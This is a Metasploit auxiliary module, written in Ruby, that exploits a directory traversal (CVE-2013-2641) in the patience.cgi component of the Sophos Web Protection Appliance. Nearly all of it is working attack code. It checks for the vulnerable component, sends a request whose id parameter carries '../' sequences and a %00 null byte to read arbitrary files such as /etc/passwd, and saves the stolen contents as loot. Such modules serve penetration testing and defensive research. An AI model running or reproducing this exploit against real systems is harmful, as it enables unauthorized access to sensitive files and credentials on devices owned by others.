## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'uri' require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report def initialize(info = {}) super(update_info(info, 'Name' => 'Sophos Web Protection Appliance patience.cgi Directory Traversal', 'Description' => %q{ This module abuses a directory traversal in Sophos Web Protection Appliance, specifically on the /cgi-bin/patience.cgi component. This module has been tested successfully on the Sophos Web Virtual Appliance v3.7.0. }, 'Author' => [ 'Wolfgang Ettlingers', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => [ [ 'CVE', '2013-2641' ], [ 'OSVDB', '91953' ], [ 'BID', '58833' ], [ 'EDB', '24932' ], [ 'URL', 'http://www.sophos.com/en-us/support/knowledgebase/118969.aspx' ], [ 'URL', 'https://www.sec-consult.com/fxdata/seccons/prod/temedia/advisories_txt/20130403-0_Sophos_Web_Protection_Appliance_Multiple_Vulnerabilities.txt' ] ], 'DefaultOptions' => { 'SSL' => true }, 'DisclosureDate' => 'Apr 03 2013')) register_options( [ Opt::RPORT(443), OptString.new('FILEPATH', [true, 'The name of the file to download', '/etc/passwd']), OptInt.new('DEPTH', [true, 'Traversal depth', 2]) ], self.class) end def my_basename(filename) return ::File.basename(filename.gsub(/\\/, "/")) end def is_proficy? res = send_request_cgi( { 'uri' => "/cgi-bin/patience.cgi", 'method' => 'GET' }) if res and res.code == 307 and res.body =~ /The patience page request was not valid/ return true else return false end end def read_file(file) travs = "" travs << "../" * datastore['DEPTH'] travs << file travs << "%00" print_status("Retrieving file contents...") res = send_request_cgi( { 'uri' => "/cgi-bin/patience.cgi", 'method' => 'GET', 'encode_params' => false, 'vars_get' => { 'id' => travs } }) if res and (res.code == 200 or res.code == 500) and res.headers['X-Sophos-PatienceID'] return res.body else print_status("#{res.code}\n#{res.body}") return nil end end def run print_status("Checking if it's a Sophos Web Protect Appliance with the vulnerable component...") if is_proficy? print_good("Check successful") else print_error("Sophos Web Protect Appliance vulnerable component not found") return end contents = read_file(datastore['FILEPATH']) if contents.nil? print_error("File not downloaded") return end file_name = my_basename(datastore['FILEPATH']) path = store_loot( 'sophos.wpa.traversal', 'application/octet-stream', rhost, contents, file_name ) print_good("File saved in: #{path}") end end